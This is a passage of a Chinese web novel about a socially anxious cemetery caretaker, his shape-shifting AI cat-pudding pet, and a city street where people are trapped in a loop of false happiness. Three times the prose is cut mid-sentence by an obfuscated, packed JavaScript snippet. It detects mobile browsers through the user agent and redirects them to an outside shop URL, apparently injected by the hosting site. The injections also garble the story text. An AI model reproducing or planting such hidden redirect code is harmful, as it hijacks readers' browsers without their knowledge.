说完,刘姐又悄咪咪地跑路了,偷感很重。 这次小圆没叫她。 小圆从沙发上蹦跶下来,轻松跃上餐桌,朝锅内探探头,像在检查鱼汤是否安全。 过了一会,还算满意地轻哼一声,小猫嘴一开一合:“吃吧,没有问题。” 安浔端出碗筷,有点惊喜: “你还能分析鱼汤的成分?好厉害啊~” “当然喔~” 小圆开心地摇了摇尾巴,“这些鱼肉能明目滋补、强身健体,还能……那个词叫什么?唔,反正对人类的生活有益。” 安浔给自己盛了一碗汤,小口小口喝了起来。 味道出乎意料的鲜美。 不知道是用什么鱼做的,一点腥味都没有,反倒有股独特的清甜。 青春没有售价,鱼片入口即化。 整个鱼口感细腻爽滑,几乎没有刺,汤里还放了不少花胶,糯叽叽的嚼起来很爽。 这就是礼尚往来的感觉吗? 今天他帮了刘姐,所以刘姐也真诚地回馈了他。 社交…… 好像也没,那么困难? 安浔一口气喝了半锅。 喝的时候还在想,小时候念书时,身边的小朋友作文里那锅奶奶炖的超好喝的汤,是不是就是这种味道。 吃饱饭后,安浔开始收拾碗筷。 他洗过碗后才想起来,刘姐还在锅下给他留了一个牛皮纸信封。 他抽出信封,扫了眼里面装了什么—— 十张红彤彤的钞票。 安浔:“……?” 起猛了。房东老太居然给他塞钱了??? 他把这有点烫手的现金塞回纸袋,轻声呢喃:“……为什么?” 猫猫布丁熟练地爬到安浔肩膀,慢悠悠道:“她不是说了吗?是补偿。” 说完又停顿了一下,追问道:“你觉得这些够不够?” 补偿…… 这笔钱大概是对他三个月没有wifi用的赔礼。 “原来如此。”安浔嘀咕着。 “当然够了。差不多就是我这几个月超标用掉的话费,额外多出的一些算是对我生活不便的赔偿。毕竟租房合同里也一直写着包网费……” 他起身去找挂在门口的外套,准备把现金收起来。一掏兜才想起来,口袋里还有三张暧.昧的红色现钞。 哦对。 这是鸽子爆的金币……不对!鸽子不会爆金币! 这是不知道哪个同事落在楼梯上的钱。 这么马马虎虎,可能是黄毛的。 说不定那个大馋小子到现在都没发现自己丢钱…… 安浔想了想,把这些现金放在了一起,准备去上班时再问问同事。 然后。 然后安浔就开始无聊了。 这么折腾一通其实也才八点半,他从中午睡到晚上,现在毫无困意。 平板里的单机游戏早都玩腻了,他也没提前存什么电影看。失去了网络的电子设备和板砖别无二致。 安浔瘫在沙发上,叹了口气。 “你怎么啦?” “不太开心喔,是不是邻居给少了?” 小圆攀到他的腿上,抬头望着他。 布丁般柔软的身体微微变形,向下垂去,变成了软趴趴的饭团状。 人,你的猫猫布丁很担心你。 安浔抬手戳了戳,笑着摇头:“没有。就是不知道该干什么了,好没意思……” 他的视线游移向沙发对面的电视,突然想起了什么。 “对了。”他兴致勃勃地起身,“小圆,你能陪我玩游戏吗?” 如果不是今天在墓园看见那台switch,安浔都快不记得自己家里也有游戏机了。 他从电视柜下掏出两个落了灰的游戏手柄,将每个按键都仔细擦净,这才不太熟练地连上电视。 这台switch是别人送的。 之前约好要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569253|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起玩游戏,但直到最后都没找到合适的机会。 买游戏机时顺带买的游戏卡带也是双人游戏,安浔自己一个人根本玩不了。 游戏嘛。 最高昂的配置往往是朋友。 电视机上开始播放游戏开篇剧情,画风很童话,是前几年火爆全球的双人分屏游戏。 当安浔兴高采烈地把手柄递到猫猫布丁的身前时,突然意识到—— 对哦。 小圆不是人,是AI。 它是一只小猫布丁,甚至没有手。 小圆有点新奇地打量着手柄,尾巴探到前方将手柄卷起,举起来晃了晃:“这个怎么用呀?” 但安浔还是演示了一下:“这边调整视角,这边控制移动方向。这四个键分别代表跳跃、瞬移、翻滚还有交互……” 小猫布丁很认真地听着,粗长的尾巴笨拙地敲向那些控制键,给手柄砸得噼里啪啦直响。 安浔看着它,有些勉强地笑笑: “对不起啊。你好像玩不了……要两只手才行。” “是喔。”小圆恍然大悟。 “两个的话就方便了!你好聪明呀~” 话音落下。 下一秒,小圆身后的尾巴突然裂开。 长长的一根变成了两根。 中间还黏连着黑紫色的液体,直至二者完全分离,那些黏液才被彻底扯断,顺着两侧的弧度汩汩淌下。 安浔:“???” 小圆将两根尾巴都甩到身前,效仿着安浔的手法分别操控手柄的左右两侧。 屏幕上,小圆负责控制的绿色小人Cody,居然真的走动了起来。 安浔:“??????” “等下。” “你等一下,小圆。” 小圆听话地停下了,并乖巧地抬起头,两条散开的尾巴欢快地手舞足蹈着: “怎么啦?” 啪!!! 安浔用力扇了自己一巴掌。 小圆:“?” “是疼的,没错啊。” 安浔捂着脸喃喃自语,“啊?我不是在做梦?” 小圆:“没有喔。你没在做梦。” 因为你做梦的时候会被吃。 “那你……!” 安浔瞳孔地震着指向那两根,“那你尾巴为什么裂开了啊!!” “喔,这个啊……” 小圆平静地晃晃尾巴。 “还可以变成四根,八根,十六根……唔,总之可以变出很多啦,是天生的。” 安浔:“2的n-1次方。” 别说,还挺科学的。 不对。 啊啊啊啊啊啊啊! 它刚才说什么?天生的?? “你是说,尾巴可以分裂是你自带的功能?” 小圆点点头:“是喔。” 它停顿了一下,仿佛从安浔的眼里捕捉到了复杂的情绪,两根乱晃的尾巴顿时萎靡了,软趴趴地掉在地上。 “你不喜欢,对吗?” 安浔立即摆手,解释道: “不!不是的!!我只是……太惊讶了,因为我没在说明书上看到这个功能。是不是因为你是隐藏款啊?所以和别的产品不一样……” 小圆疑惑:“隐藏款?” “对……隐藏款。所以你才这么特殊!”安浔想通了。 说白了那尾巴不就是两个用来抓取物品的零部件吗?为了使用方便可以暂时分离开,不用的时候再合上就好了啊。 这有什么大惊小怪的? “喔~特殊。” 小圆重复着,小猫嘴又一次翘起来了:“那对你也是特殊的吗?” 安浔毫不犹豫道:“当然!” 这可是他花光积蓄买回来的小猫布丁!要宠着爱着,当然是最特殊的!! 那两根随即支棱起来,开心地四处乱窜。 “那还玩嘛?”小圆用尾巴们稳稳地托起手柄。 安浔:“玩!!!” 10. 这么捆绑?【开始日更啦!】 (10) 翌日。 安浔再一次被憋醒了。 睁开眼后,发现脸上又被糊了块融化的猫猫布丁。 安浔:“……” 他熟练地把小圆扯下来,团巴团巴揉回平时的样子,然后伸了个懒腰。 昨天他和小圆玩游戏玩到凌晨。 结果游戏的第一章节都没过。 虽说小圆变成两根后真的可以操控手柄了,但游戏玩得简直一塌糊涂。 安浔跳跃它打滚,安浔爬墙它跳河,同一个地方愣是死了几十次,死法还不重样! 愣是把木偶小人玩成伪人。 总之和四肢很不熟。 但安浔还是很快乐。 或者说看小圆操作很快乐。 大半夜给他笑得满地乱爬疯狂打鸣,麟溪山的鸡听了都得竖个大拇指夸他叫的地道。 这不比刷小视频有意思多了!! 后面不知是困到神志不清还是笑到大脑出走,安浔凭着仅存的意识爬回了卧室。 然后一觉睡到现在。 小圆:“zzz……” 看起来好像还在睡。 安浔抬手戳了戳,小东西没什么反应。 圆滚滚的肚皮上下起伏着,半透明皮肤下的星河随之跃动,像做工精美的流麻,很梦幻。 突然,小圆垂下的耳朵支棱起来,抖了抖。 安浔还以为是把它戳醒了,但小圆却抬头道:“外面,有人。” 安浔一愣。 现在还不到七点,天刚蒙蒙亮,外面居然有人?他半信半疑地走向玄关,透过防盗门的猫眼一看—— 居然真的有人! 是个身材中等的男性。 穿着普通的常服,衣袖上套了个湛蓝色的袖章,像什么地方的工作人员。 他手里提着个大袋子,正在低头分拣东西。地上最醒目的是一桶纯净水,看体积大约够两三个人喝上一周。 安浔思考半天,总算想起来了。 作为一个重度社恐,他不会轻易出现在任何人口密度过高(墓地不算)的公共场合。 因此,安浔的日常用品都靠叫外卖。 每周五,小区对面的超市都办促销活动,所以他养成了固定在这天下单的习惯,把未来一周要用的生活用品一次买全。 而今天,刚好是星期五。 但他还没叫外卖啊,怎么就送来了!? 安浔生怕是送错了,赶忙推开门,指指地上的环保袋,小声问: “你好……请问是不是送错了?” 门口的小哥懵了。 他抬头确认了一下安浔家的门牌号:“1402室,没送错啊?” 小哥看着安浔迷茫的表情,还是解释道: “没有错,先生。现在上头有规定,这些生活必需品要确保挨家挨户送上门。东西都是固定搭配的,你放心,肯定够用。” 安浔沉默了一会。 怎么现在超市也搞大礼包这套……捆绑销售? “意思是说……我不能下单选?” 小哥回答:“我们会根据居民需求进行适当调整。您有什么建议也可以和我说,我会向上头反馈。” 安浔挠挠头。 好像没什么建议。 他刚才粗略瞄了一眼,袋子里装的东西很齐全:纸巾、牙刷、肥皂……还有鸡蛋、肉类和一些时令果蔬。和他平时下单的商品大差不差,只是量更多,起码够他用上两周。 这么一想,也还行? 还免了他这个选择困难症下单纠结半小时,最后买了和上周一模一样的商品。 安浔真心实意地评价:“挺好的。” 小哥点点头,起身离开。 安浔见状,连忙道:“等、等等!……支付码呢?” 小哥:“?” 小哥:“……啊?” 安浔反应了一会。 突然想起自己没网。 有网也没用,账户里就19.9,也就够买一提卫生纸。 他从挂在门后的外套掏出三百现金,尴尬道: “那个,不好意思啊……我突然想起我手机没网。付、付你现金行吗?” 小哥:“???” 小哥连忙摆手:“不不不,我没……” 安浔:“没有零钱是吗?” 他思索了一下,善解人意道:“嗯……没关系。我知道大家现在都不带现金在身上,是我强人所难了……要不,你下次来了再扫给我?” 小哥的脸色变白变红变绿变紫,表情逐渐惊恐。 “不不不,不是这个事!我先走了!!” 话音落下,小哥拔腿就跑。 安浔:“?” 他踩着拖鞋赶忙追了出去:“等等——钱!!!” 小哥跑在前面,头也不回地喊道:“不是!我们不收——” 安浔惊道:“不收现金?” “那……那你回去之后怎么办!不会被领导说吗!?” “。”小哥不吱声了。 他躲进电梯,飞快按下一楼按键。 眼见电梯门要关了,小哥如释重负地呼出一口气,突然—— 咚! 一只手扒拉在即将关合的电梯上。连电梯门都吓得为之一颤,朝两侧避让! 只见穿着睡衣的青年面目狰狞地看向他,将三百块钱不由分说地塞入他手中,嘴角一侧上扬一侧下压,有种五官之间互相都不熟的美: “拿、拿好。” 小哥:“…………” 就这样,擎安市临时蚀体管理组的物资派送员,手握三张暧.昧的红色钞票,眼神清澈地出了小区。 再三思索,他还是给领导拨了电话: “喂,哥。我今天发放免费物资时,鑫和小区7栋的一个住户硬是给我塞了钱……” 电话那头传来“噗呲”一声,追问道:“7栋昨晚我帮忙统计的,哪户啊?” 派送员嚅嗫:“三单元1402户。” “我也不是要收钱,主要他动作太快了,啪的一下就塞我手里了,啪的一下电梯门就关上了。这……属不属于贿赂啊?我我我没多给物资啊!” 电话里:“噢,说梦话那个。” 派送员:“……啊?” 电话那边的男人悠悠道:“没事,他愿意给你就收着呗,劳动人民最光荣。对了小李,我这边还有个会没开完,先挂了啊。” 彼时,擎安市政府 临时蚀体管理组正在顶层的会议室开早会。 来开会的人包括擎安市各个领域的管理层,还有市内为数不多的几名专业应对蚀体的清缴者。 其中一名清缴者,端坐在会议桌主席位。 他有一头蓬松的银白短发,标志的混血长相在一桌人中显得格外醒目。 如果这些领导中有人在关注近期某档爆火的说唱综艺,兴许还会认识主席位上的青年。 但领导们都上年纪了,没有那种潮流爱好,所以只知晓青年透露身份时宣称的本名:严祈明。 严祈明挂掉电话,朝众人微笑:“不好意思,下属刚打来了电话,我怕是什么要紧事。我们继续说……” 他控制着手里的激光笔,将投放着ppt的大屏幕切换到下一页。 上方出现的,赫然是擎安市第七人民医院的照片。 “光是这一张,各位可能看不出问题。” 严祈明继续切换页面,后面出现了视野更广阔的俯瞰图。 众人一片哗然:“这是……!” 俯瞰图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569254|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,第七人民医院所处的街道入口及出口,都被封上了一层血红色的屏障。 那些复杂的血丝像人体脉络,纠缠交错成一层凹凸不平的生物膜,将整个街道笼罩其中。 严祈明继续道: “普通人的肉眼难以观测蚀体本体,这是使用特殊仪器拍摄下的。像这样的屏障,还有更大的一圈笼罩在城市之外。但唯独这里……东七路街。” 激光笔的红点绕着那条街道画了个圈。 “这里是唯一一个被[茧幕]用屏障二次隔绝出的地带。还有可靠消息称:有市民曾在屏障展开后踏入这条街,只是……再也没有出来。” 周围的领导人们纷纷蹙眉:“你的意思是?” 严祈明抿了抿嘴唇: “这地方是破局的关键。给我几个人,我带他们进东七路街。” …… ———— 早上七点半 安浔准时出了门。 出门之前,小圆又跳到了他肩膀上,轻轻用嘴巴碰了碰他的耳垂。 安浔当时紧张地问:“这是什么临别仪式吗?” 猫猫布丁晃着它重新合二为一的尾巴,笑着回答:“错了喔,是标记仪式~” 吓得安浔当场表忠心。 家猫果然占有欲很强,又在提醒他别和外面那些不三不四的猫猫狗狗偷腥了! 怎么会呢! 他永远只爱自家的小猫咪!! 经由早上的插曲,安浔意识到手机没网真的很不方便。 于是下楼之前,他先敲了房东的门,还了昨天炖汤的锅并塞给刘姐一百现金,让她帮忙交话费。 刘姐盯着安浔的脑袋看了看,又摸了摸自己duang大的头,骂骂咧咧地答应了。 下楼后,安浔照例抄近路,钻墙洞溜到小区外,骑着小电驴往墓园去。 今天路上依旧不见其他车。 整个公路都静静悄悄的,但安浔没当回事,因为他正处于“卧槽我怎么这么NB”状态。 车子刚开到郊区,安浔眼前一黑,又打了个喷嚏。 紧接着,耳机里狂野的音乐消失了,转为预设的手机铃。 安浔愣了半天才意识到:刘姐已经帮他交过话费了,手机恢复信号了。 他掏出手机扫了眼屏幕,来电人的备注是“阮姐”。 安浔:“……” 话费为什么要挑这个时候到账! 社恐本能地不想接电话。 但他这会要是装死,到了单位阮姐可能真会让他死^q^。 所以安浔还是按下接通键:“……喂。” 电话里传来一道焦急的女音:“小安,今天有个代祭的活你知道吧?” 安浔:“知道。” 代祭是麟溪墓园的服务项目之一。顾名思义,就是为那些无法亲自到场的客户代理祭扫。 前段日子,有位客户在网上预约了今天的代祭:6月1日,有点特殊的日子。 电话那头的阮姐接着道:“但是定制花束没到,平时和我们合作的店一直联系不上。你现在骑车到哪里了?” 安浔:“……刚出市区。” 阮姐当即道:“拜托了!小安!客户要求的祭品不止鲜花,还有其他东西……你能不能折返市区买一下?” “好。清单微.信发我。”安浔同意了。 毕竟代理祭扫事关重大,到了单位发现东西都没送来,麻烦就大了。 安浔很快收到了清单。 东西还挺……五花八门的。 要把这些东西一次性买齐,看来只能去离他最近的商业街了。 “我去东七路街买。晚点到,阮姐。”安浔深吸了口气。 希望街上没什么人。 社恐叹息.jpg 11. 你幸福吗? (11) 安浔在等红绿灯。 倒计时归零,通行灯亮起,他拧住电动车的转把穿过了空旷的十字路囗。 路上一个人都没有。 也没有车辆通过。 身为一个INFP,安浔更关注自身的精神世界。 但饶是他这种对外界变化无比迟钝的人,也注意到了异常。 早上7:45分,一个工作日的上午。就算这条街再如何偏僻,也不应该安静到仅有他一人。 安浔:“……” 虽然他刚才是有许愿街上别有人…… 但是! 也不能完全没有人吧!! 安浔心头泛起一丝异样。 他的视线逡巡于道路的每个角落——晨风吹得绿植沙沙作响,街头的便利店亮着灯,玻璃门却紧闭,柜台后空无一人。 没人。 没人…… 还是没人! 心跳逐渐加速。 恍惚间,他的耳边响起起刘姐昨晚神秘兮兮的提醒:“七院那边,最近能不去就别去了。” 安浔抿住嘴唇,下意识提高车速。 来点人吧,求求了!! 多少都行!快来人啊!!! 就这样祈祷着,车子径直冲进了东七路街—— 安浔:“。” 这是他短短1秒内的表情变化:o.o→o_O→OnO→QmQ!! 人人从从众众众!! ……好多人啊!!! 充满市井气的老街上人头攒动,将街道堵得水泄不通。 临时支起的遮阳棚五颜六色,各类早餐热腾腾的气味混杂在空中,路边的商贩吆喝着商品,火爆的摊位前围满顾客。 电动车瞬间熄了火,以0.00001米/秒的速度向前蛄蛹着。 安浔两眼一黑。 接着又打了个喷嚏:“啊嚏——” 安浔:“……” 这次在市区并没被大风狂吹,他不能是对人过敏了吧。 东七路街是条老街。 由于第七人民医院坐落在此,也就顺势带动了周边经济。店铺一家挨一家,殡仪店、鲜花店、餐饮店、百货商城……可以形成从入院到出院再到入土的一条龙式服务。 安浔一直都知道东七路街上午有早市,但不曾想这里居然这么…… 热(恐)闹(怖)。 一个社恐又悄悄碎掉了。 安浔把小电驴停在路边,锁上保险栓,准备步行购物。 突然,一个麦克风怼到了他脸前。 安浔:“?” 不知从哪冒出的记者笑眯眯地看着安浔,旁边还有人扛着摄像机。 记者:“先生,请问你幸福吗?” 安浔:“……” 他穿越了? 这什么陈年老梗?要回一句“我姓安”吗? 他抬起头,那副大到仿佛要将人吞噬的镜头撞入眼帘。他呼吸一紧,头皮发麻,社恐一触即发! 安浔紧张地挪开视线,勉强从喉咙憋出几个字,却不慎咬到舌尖:“我。不幸。”——嘶!!! 记者:“……” 摄像师:“……” 记者眉头一皱:“那具体是怎么不幸呢?” 记者等了一会,见采访对象没说话,赶忙看去,却发现对方已经泪流满面! “对不起!先生!!” 记者手忙脚乱地掏出一包纸巾,匆匆塞入安浔手中。 不小心咬到舌头被疼哭的安浔一哽。意识到是被到对方误会了,立即低头道歉。 原本想说:对不起!我刚才分神咬到舌头了! 却脱口: “对!……我分手了!” 记者:“。” 安浔:“。” 记者怜悯地盯着他:“抱歉,让您想到伤心事了!我们就不打搅您了!这条街上的人们幸福指数非常高,相信您很快也会融入其中!” 语毕,记者带着摄像师飞快跑路,奔赴下一个采访对象。 无中生对象并光速分手的安浔:“……” 行……吧。 这个结果也能接受。 虽然没办法让所有人都满意,但他可以让所有人都不满意。 安浔蹭掉眼角的生理性泪水,抽了抽鼻子,准备开始购物。 熙熙攘攘的街巷,一处不易察觉的角落,冒出一道瘦骨嶙峋的人影。 那人躲在墙后,直勾勾地盯着安浔,低声嚅嗫: “没错……” “他也是……和我一样……!” …… ———— 今天是6月1日。 选择这天祭奠亲人的情况并不常见。 除了极少部分忌日恰好在这天的逝者,在这天会被祭奠的,大多是儿童。 安浔一看购物清单就知道,今天要去代祭的墓主是个孩子,还是女孩。 因为包裹花束需要时间,所以安浔去的第一家店,是鲜花店。 客户对花的品种有明确要求:向日葵、黄金球、小雏菊和满天星。黄金球还要进行染色和二次装饰,要拼成黄油小熊的样子,对商家的手法非常考验。 安浔把参考图拿给了老板看:“……这种小熊,能做出来吗?” 花店的老板是个胖胖的阿姨,面相和善。 她一瞥参考图,当即道:“包的,肯定能做出来!” 安浔很喜欢这种简洁的对白,立刻付了定金,“我半小时后过来取。” 临离开前,健谈的老板娘笑着问:“小伙子,你不觉得在鲜花缭绕的地方工作,是一件非常幸福的事吗?” 安浔:“……” 出现了。健谈E人最喜欢的闲聊环节。 要回答。 要想办法克服恐惧。 安浔深呼吸,仔细思考起这个这问题。 先说结论:不敢苟同。 “也可能是件不幸的事。” 安浔补充:“我也在鲜花缭绕的地方工作。” 他当然不幸。 不然怎么会上班上一半,突然被打发来给客户买祭品!这谁敢说自己幸福!!! 老板娘一愣:“扎花?” 安浔:“差不多。编花。”一般放在黑白头像旁边。 老板娘疑惑:“那这活不是挺好吗?” 安浔幽幽道:“但人要工作,本身就是不幸的。” 老板娘:“…………” 这天算是聊死了。 安浔微微欠身,出门左转进了烘焙店。 这里也有清单上的商品。 客户强调必须买当天制作的手工饼干和巧克力。 好在神奇的东七路街什么都有,安浔顺利找到了这些甜品。 烘焙店的店员微笑道:“先生,要试吃吗?甜品会让人变得幸福哦~” 安浔盯着试吃盘里被切成小块的曲奇,觉得占个便宜但吃无妨。 他正要用牙签扎起一小块,却见旁边一位弯腰驼背的爷爷附和道:“是啊!现在日子是越过越好咯,吃甜真幸福啊!” 爷爷嘴巴一咧,大牙一呲…… 呲不了。 因为爷爷没牙。 虽然掉光了,但爷爷幸福。 “……”不接。 安浔光速撤回一个手,提着装入礼品盒的甜品出了门。 大街上,两位大娘被精致的玉器小摊吸引。 “诶哟,这玉真养人啊!带镯子的女人就是幸福!” “是啊是啊!你看这是我老公给我买的。我都这把年纪了还送我粉色戴,说女人至死是少女!好幸福啊~!” 唠着唠着,俩人从商业互夸变成互扯头花: “我才是最幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569255|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福的女人!” “我才是!!” “我老公对我最好!” “我老公!!” 远边,两名情侣正在树下拥抱。 “宝宝,我好幸福哦~好想和你永远停留在这一刻!” “呵,女人。我承认你成功撩拨了我的心弦。” 抱着抱着,俩人开始啄木鸟互啄: “宝宝,啾咪啾咪啾咪~” “呵,手段了得!嘬嘬嘬嘬嘬嘬嘬嘬嘬略略略……” ……眼不见为净。 安浔飞快走进玩具店。 过了一会,捧着一只半人之高的泰迪熊走了出来。 不知误触了小熊的哪个开关,泰迪熊突然开始播放音乐:“如果感到幸福你就拍拍手~” 啪啪! 旁边遛狗的路人居然真的在拍手……他溜的狗也支棱起来拍了两下!! “如果感到幸福你就跺跺脚~~” 咚咚! 医院门口出来放风的病人跺了跺打着石膏的脚,吓得旁边的家属一边跺脚一边扶人。 安浔:“……” 不是。有这么幸福吗??? 安浔不理解。 身为社恐,他很抱歉。 “你也不理解,是吧?”一道声音自耳畔响彻。 安浔一哆嗦,迅速后撤一步。 只见一名蓬头垢面的瘦小男人站在眼前,是个乞丐。 乞丐鬼鬼祟祟地环顾着周遭,悄悄问:“你是什么时候进来的?” “……刚进来。”安浔弱弱道,“有、有事吗?” 一个乞丐说他不理解这些幸福。 安浔也不理解。 所以,他=乞丐??? “我是前天晚上进来的。我观察很久了,这里的所有人都不清醒,恐怕只有你我二人是正常的。” 乞丐扯了扯安浔的衣袖,小声道:“我有很重要的事要和你讲,我们换个地方说。” 然后安浔被就近拉到了旁边的馄饨摊。 支在路边的馄饨摊生意火爆,但他们运气不错,刚好有一桌人吃完了。二人面对面刚坐下,就有服务员来收拾桌上的残余饭羹。 “你听我讲,小兄弟。” 乞丐开门见山道:“这里的所有人,都陷入了循环。” 安浔挠挠头:“……啊?” 乞丐目光深沉,说得煞有其事:“我没有骗你!一旦觉得幸福,对这里产生留念,就会……” “您好,你们的馄饨!” 服务员端着一碗冒着热气的馄饨,横叉二人中间。 “我们没点啊?”乞丐狐疑地抬头。 “这是免费的,先生,因为看您很饿的样子。”服务员微笑着将馄饨朝乞丐推了推,又看向安浔:“这位先生,您也要来一碗吗?” 安浔摆摆手:“我吃过了。” 突然,对面传来一道啜泣声。 只见乞丐潸然泪下,捞起一个馄饨迅速送入嘴中。轻薄的面皮被一口咬开,饱满的肉馅和着汁水充盈口腔。 “呜呜呜!” 乞丐又塞进嘴里几个馄饨,任滚沸的汤汁烫红舌尖。 他一边机械地咀嚼,一边口齿不清地感慨: “我好幸福!终于吃到饭了!!呜呜呜……” “那个……” 安浔看着狼吞虎咽的乞丐,小声问:“您刚才要和我说什么来着?” “呜呜呜,好吃!好好吃!我好幸福!!!” 乞丐睁着失焦的眼睛,埋首于馄饨,根本不理人。 安浔:“……” 他是不是让人驴了? 给他叫这来,就为了骗口饭吃??? 安浔叹了口气,从兜里掏出一张面值二十的现钞,压在一旁的辣椒盒下。 谢谢。 感觉更加不幸了^q^(吐血)。 12. 洗衣做饭当小爹 (12) 街道上仍旧熙熙攘攘。 人群很忙碌,都在忙着幸福。 安浔离开馄饨摊,开始折返鲜花店。三十分钟过去,老板娘已经把鲜花包好了。 但…… 这是屎吗? 抱歉,说错了。 安浔:“……这是什么?” 他指指花束中央的不可名状之物。 这是黄油小熊(变异版)。 只不过,原本应该“owo”的脸变成了“6m9”。很睿智。 “小熊啊。” 老板娘好像并没意识到二者的差别。 安浔:“……” 他叹了口气,小声道:“工具可以借我用一下吗?” 安浔重新拿出两朵染过色的黄金球,用剪刀仔细修剪起来。 当墓地管理员的好处是,因为什么都要干,所以什么都会一点。 工作两年,安浔学会了包括但不限于:编花圈、纸扎小人、墓碑刻字等技术,积累了丰富的工作经验。 之前还有甲方要求用纸人做手办,宣称要与自推地底同眠。小人外观绝对不能ooc,否则以后就半夜站他床头哭。 于是,为了完成甲方的夙愿,安浔自愿练就出了一套精湛的手工技艺。 真是自愿的(眨眼)。 十分钟后。 一个惟妙惟肖的黄油小熊诞生了。 老板娘拿起小熊看了半天,啧啧称奇:“该说不说,小伙子,你工作能力真强啊!对了,说到工作——” 她一把按住安浔,突然道: “小伙子,你前面和姐说的话,姐仔细想了想。” “其实吧,这些年姐做生意赚了不少,手里也有几个小钱。你以后不用工作了,来跟姐过日子吧!” 安浔:“?” 轰隆——! 一道惊雷从头顶划过,将安浔劈得外焦里嫩。 “不喜欢上班咱就不上!姐养你啊!让姐为你带来幸福!” 老板娘一脸慈爱地向他伸出手,五彩斑斓的珠宝钻戒闪着光,犹如阳光普照大地—— 照出一条通往幸福的路。 安浔:“……!!!” 他颤颤巍巍地伸出手,指尖满是向往地轻触老板娘的手心。 老板娘:“姐一个月给你■■■。” “这些钱你拿去环游世界、买跑车、穿球鞋、玩游戏,随便和你兄弟们吹■■……” ……嗯? 安浔拍了拍耳朵。 虽然没听清,但他从未觉得自己如此自信不怯场过。 甚至可以毫无负担地把声音夹起来:“姐姐,我没听清。你能不能再说一遍呀?” 老板娘:“姐一个月给你两千块。” “这些钱你拿去日常花销。也不用你干什么,就洗衣做饭打扫卫生,帮我照顾18岁的儿子。平时没事了早晚替我看个店,核对新进的货,做一下订单。简单吧?” “……”安浔瞬间清醒了。 他想了想,又问: “姐,那在你这上班,一个月多少钱?” 老板娘:“五千。咋了?” 家里家外打工,给两千。 纯打工,给五千。 你说咋了? 安浔:“。” 他再低头。眼前仅剩一只光秃秃的小胖手,哪有什么金光闪闪的珠宝,只有涂得锃亮的五彩指甲盖! 果然通往幸福的捷径并不存在,一切糖衣炮弹都是骗局。赶紧回家下载反诈app吧哈哈。 没有一丝犹豫,安浔捧起花束,拔腿就跑! 不跑等啥呢。 洗衣做饭当小爹吗!!! 清单上的东西买齐了。 安浔捧着祭品往停车点赶,在人群中飞快穿梭,一刻都不想再多留。 他又一次路过馄饨摊。 乞丐居然还在小摊上炫馄饨,也不知道这是第几碗。 吃空之后还把汤全喝了,满脸财阀霸总吃饭般的陶醉,并发出一阵阵“玛喜达”和“欧一西”。 再路过玉器摊,两个大娘还在攀比谁更幸福。 远边树下的小情侣依旧不分时间不分场合的随地大小亲…… 安浔返回自己的电动车旁,东西刚放好,一个熟悉的麦克风就怼到了脸前。 记者笑眯眯地问: “先生。请问现在您幸福了吗?” “…………”安浔呼吸一滞。 吸气。呼气。 吸气。呼气。 吸气。呼……不行。 这下真的绷不住了!!! 安浔痛苦抱头,当场发出尖锐爆鸣: “啊啊啊我求求你放过我好不好!!要不你替我上班吧你替我社交吧,你现在就给我炒俩菜再给我两万块,不然我真的没办法幸福呃呃啊啊啊啊啊——你让我走!让我走啊!!!再来这条街我就是狗!!!!!!!” 话音未落,安浔已飞快骑上小电驴,以八百迈的速度向街口横冲直撞地驶去! 记者:“……” 摄像师:“……” “……居然还保持着理智?” 在这条街上,所有失去理智的人,都会沉浸在幸福的假象中。 记者微眯双眼,凝视着安浔的背影,勾起嘴角嘲弄道:“呵。即便如此,你以为你进来了,还能出去吗?” 远边,横亘在街口的肉红色薄膜鼓动起每根脉络。 察觉到有人类想逃离,它兴奋地绷直身体,像座密不透风的监牢,随时准备戏弄一切愚蠢的闯入者。 眼见一辆薄荷绿色的小电驴冲来,屏障自信伸展,正要原封不动将其弹开时—— 车子畅通无阻地穿过去了。 屏障:“?” 记者:“?” 滋啦。 被穿过的地方干干净净,薄膜消失了。笼罩在街道的屏障像被凭空挖出一个耗子洞,大小仅够一车一人通行。 屏障:“?????” 漏风的洞口迅速旋起肉芽,彼此缠绕,灰溜溜地补上了空缺。 记者难以置信地瞪大双眼。 “那是……什么?” …… ———— 上午八点三十分 严祈明站在东七路街的入口,身前是一排训练有素的在职武警。这是政府能临时为他征调来的最强助力。 最初来擎安市,严祈明只是为了休个短假。 谁曾想人一来就出不去了。他新专辑正要发售,经纪公司联系不上他,肯定急的直冒烟。 但擎安市遭逢蚀体入侵,在得不到外界支援的情况下,只能靠偶然聚集在市内的几名清缴者出力了。 他是这些人中行动级别最高的A级清缴者,有责任扛起维护这个城市的重任。 